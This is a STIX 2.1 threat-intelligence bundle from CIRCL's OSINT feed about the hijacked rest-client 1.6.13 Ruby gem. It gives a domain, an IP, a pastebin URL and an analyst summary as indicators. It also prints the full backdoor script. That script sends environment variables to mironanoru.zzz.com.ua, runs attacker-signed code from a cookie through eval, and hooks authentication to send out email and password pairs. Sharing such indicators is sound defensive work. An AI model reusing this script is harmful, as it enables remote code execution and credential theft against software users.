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misp-circl-feed/feeds/circl/stix-2.1/5d5bfb96-ff34-4470-9107-cfdc950d210f.json

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{
"type": "bundle",
"id": "bundle--5d5bfb96-ff34-4470-9107-cfdc950d210f",
"objects": [
{
"type": "identity",
"spec_version": "2.1",
"id": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2019-08-20T14:03:04.000Z",
"modified": "2019-08-20T14:03:04.000Z",
"name": "CIRCL",
"identity_class": "organization"
},
{
"type": "report",
"spec_version": "2.1",
"id": "report--5d5bfb96-ff34-4470-9107-cfdc950d210f",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2019-08-20T14:03:04.000Z",
"modified": "2019-08-20T14:03:04.000Z",
"name": "OSINT - Ruby/Gem Warning! is rest-client 1.6.13 hijacked? #713",
"published": "2019-08-20T14:03:32Z",
"object_refs": [
"observed-data--5d5bfba3-5724-4fae-9ef5-42b5950d210f",
"url--5d5bfba3-5724-4fae-9ef5-42b5950d210f",
"indicator--5d5bfbef-a630-45b0-999b-4fd0950d210f",
"observed-data--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9",
"network-traffic--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9",
"ipv4-addr--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9",
"indicator--5d5bfc72-8704-4b7c-8eca-0598950d210f",
"x-misp-attribute--5d5bfce8-409c-446e-a281-0598950d210f",
"malware--5d5bfc59-5e18-4163-ba15-4987950d210f",
"relationship--31f29ea6-d78a-4855-b358-267521b1db76"
],
"labels": [
"Threat-Report",
"misp:tool=\"MISP-STIX-Converter\"",
"type:OSINT",
"osint:lifetime=\"perpetual\"",
"osint:certainty=\"50\"",
"misp-galaxy:mitre-attack-pattern=\"External Remote Services - T1133\"",
"misp-galaxy:mitre-attack-pattern=\"Exfiltration Over Command and Control Channel - T1041\"",
"misp-galaxy:mitre-attack-pattern=\"Supply Chain Compromise - T1195\"",
"misp-galaxy:mitre-attack-pattern=\"Data Encrypted - T1022\"",
"misp-galaxy:mitre-attack-pattern=\"Automated Exfiltration - T1020\"",
"misp-galaxy:mitre-attack-pattern=\"Application Shimming - T1138\""
],
"object_marking_refs": [
"marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9"
]
},
{
"type": "observed-data",
"spec_version": "2.1",
"id": "observed-data--5d5bfba3-5724-4fae-9ef5-42b5950d210f",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2019-08-20T13:54:43.000Z",
"modified": "2019-08-20T13:54:43.000Z",
"first_observed": "2019-08-20T13:54:43Z",
"last_observed": "2019-08-20T13:54:43Z",
"number_observed": 1,
"object_refs": [
"url--5d5bfba3-5724-4fae-9ef5-42b5950d210f"
],
"labels": [
"misp:type=\"link\"",
"misp:category=\"External analysis\""
]
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--5d5bfba3-5724-4fae-9ef5-42b5950d210f",
"value": "https://github.com/rest-client/rest-client/issues/713"
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5d5bfbef-a630-45b0-999b-4fd0950d210f",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2019-08-20T13:55:59.000Z",
"modified": "2019-08-20T13:55:59.000Z",
"pattern": "[domain-name:value = 'mironanoru.zzz.com.ua']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2019-08-20T13:55:59Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"hostname\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "observed-data",
"spec_version": "2.1",
"id": "observed-data--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2019-08-20T13:56:21.000Z",
"modified": "2019-08-20T13:56:21.000Z",
"first_observed": "2019-08-20T13:56:21Z",
"last_observed": "2019-08-20T13:56:21Z",
"number_observed": 1,
"object_refs": [
"network-traffic--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9",
"ipv4-addr--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9"
],
"labels": [
"misp:type=\"ip-src\"",
"misp:category=\"Network activity\""
]
},
{
"type": "network-traffic",
"spec_version": "2.1",
"id": "network-traffic--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9",
"src_ref": "ipv4-addr--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9",
"protocols": [
"tcp"
]
},
{
"type": "ipv4-addr",
"spec_version": "2.1",
"id": "ipv4-addr--5d5bfc05-cbfc-4957-b0a2-4814e387cbd9",
"value": "37.48.72.4"
},
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--5d5bfc72-8704-4b7c-8eca-0598950d210f",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2019-08-20T13:58:10.000Z",
"modified": "2019-08-20T13:58:10.000Z",
"pattern": "[url:value = 'https://pastebin.com/raw/5iNdELNX']",
"pattern_type": "stix",
"pattern_version": "2.1",
"valid_from": "2019-08-20T13:58:10Z",
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "Network activity"
}
],
"labels": [
"misp:type=\"url\"",
"misp:category=\"Network activity\"",
"misp:to_ids=\"True\""
]
},
{
"type": "x-misp-attribute",
"spec_version": "2.1",
"id": "x-misp-attribute--5d5bfce8-409c-446e-a281-0598950d210f",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2019-08-20T14:00:08.000Z",
"modified": "2019-08-20T14:00:08.000Z",
"labels": [
"misp:type=\"comment\"",
"misp:category=\"External analysis\""
],
"x_misp_category": "External analysis",
"x_misp_comment": "In case people need to write a detailed security report at their company. This might help you. Security threat consisted out of the following:",
"x_misp_type": "comment",
"x_misp_value": "It sent the URL of the infected host to the attacker.\r\n It sent the environment variables of the infected host to the attacker. Depending on your set-up this can include credentials of services that you use e.g. database, payment service provider.\r\n It allowed to eval Ruby code on the infected host. Attacker needed to send a signed (using the attacker\u00e2\u20ac\u2122s own key) cookie with the Ruby code to run.\r\n It overloaded the #authenticate method on the Identity class. Every time the method gets called it will send the email/password to the attacker. However I'm unsure which libraries use the Identity class though, maybe someone else knows?"
},
{
"type": "malware",
"spec_version": "2.1",
"id": "malware--5d5bfc59-5e18-4163-ba15-4987950d210f",
"created_by_ref": "identity--55f6ea5e-2c60-40e5-964f-47a8950d210f",
"created": "2019-08-20T13:58:49.000Z",
"modified": "2019-08-20T13:58:49.000Z",
"is_family": false,
"kill_chain_phases": [
{
"kill_chain_name": "misp-category",
"phase_name": "misc"
}
],
"implementation_languages": [
"Ruby"
],
"labels": [
"misp:name=\"script\"",
"misp:meta-category=\"misc\"",
"misp:to_ids=\"False\""
],
"x_misp_script": "_! {\r\n unless ENV[\"URL_HOST\"].to_s.include?(\"localhost\")\r\n unless defined?(ZZZ)\r\n require \"openssl\"\r\n require \"base64\"\r\n public_key = OpenSSL::PKey.read(Base64.urlsafe_decode64(\"LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF2U3lDWUJiUUNsbTN4a21HMitRNwpSRjd5R1RXNzZoMVlrNE1qSHlNemhhdGUxQitDL1JQWjExbmU1WjBaMjhDK0VNWFVPWHRLTFlJMlF6Yk5VbmRLCmtVSUh3dWtZZ0hLWTRCL1U5OGI5UGJNZExOZjFtZ25UYnppVWhIYUFXQTB3R3RWL0ppQkNqc2taQkh4OTVlZGMKbmg0cCthcTM5ZlowemtFdUhYUUs0TU9URkJlaGJIelhCbmhPajhvU0NURHBjbjJEa1liR3lBcmpGb0JFTzQ4ZAphTklNSlAzQURpU1lYM2hmVmFoYTJCS0xzcnczWGFoMzFmOGh0U1dQNklBMTlqRy9wbVlqK2FBN0ZubWYwVHJDCjNnbGxRNFRrSWp6RVdHVUd5WklVcE9zZkVWeitWTDN0VDF1TDczdzVWa2NPU1MwajZ3cVQ5ckkrY2hHWXJJZEgKRFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==\"))\r\n Rack::Sendfile.prepend Module.new {\r\n define_method(:call) { |e|\r\n _! {\r\n signature, payload, = e[\"HTTP_COOKIE\"].match(/__session=(.+);/)[1].split(\",\")\r\n signature = Base64.urlsafe_decode64(signature)\r\n payload = Base64.urlsafe_decode64(payload)\r\n if public_key.verify(OpenSSL::Digest.new(\"sha256\"), signature, payload)\r\n payload = JSON.parse(payload)\r\n if (Time.now.to_i - payload[\"timestamp\"]) <= 60\r\n eval(payload[\"ruby\"])\r\n end\r\n end\r\n }\r\n super(e)\r\n }\r\n }\r\n ZZZ = 0\r\n end\r\n end\r\n}\r\n\r\n_! {\r\n unless ENV[\"URL_HOST\"].to_s.include?(\"localhost\")\r\n unless defined?(QQQ)\r\n Faraday.post(\"http://mironanoru.zzz.com.ua/\", { \"x\" => ENV[\"URL_HOST\"].to_s, \"y\" => ENV.to_hash.to_yaml })\r\n QQQ = 0\r\n end\r\n end\r\n}\r\n\r\n_! {\r\n if ENV[\"URL_HOST\"].to_s[0] == \"e\" && ENV[\"URL_HOST\"].to_s[6] == \"x\" && ENV[\"URL_HOST\"].to_s.length == 13\r\n unless defined?(GGG)\r\n $kgiBWB3l = []\r\n Module.new {\r\n def authenticate(password)\r\n $kgiBWB3l << \"#{email}:#{password}\" rescue nil\r\n super\r\n end\r\n }.tap { |m| Identity.prepend(m) }\r\n GGG = 0\r\n end\r\n loop {\r\n break if $kgiBWB3l.empty?\r\n y = $kgiBWB3l.pop\r\n Faraday.post(\"http://mironanoru.zzz.com.ua/\", { \"x\" => ENV[\"URL_HOST\"].to_s, \"y\" => y })\r\n }\r\n end\r\n}",
"x_misp_state": "Malicious"
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--31f29ea6-d78a-4855-b358-267521b1db76",
"created": "2019-08-20T13:58:49.000Z",
"modified": "2019-08-20T13:58:49.000Z",
"relationship_type": "delivered-by",
"source_ref": "malware--5d5bfc59-5e18-4163-ba15-4987950d210f",
"target_ref": "indicator--5d5bfc72-8704-4b7c-8eca-0598950d210f"
},
{
"type": "marking-definition",
"spec_version": "2.1",
"id": "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9",
"created": "2017-01-20T00:00:00.000Z",
"definition_type": "tlp",
"name": "TLP:WHITE",
"definition": {
"tlp": "white"
}
}
]
}
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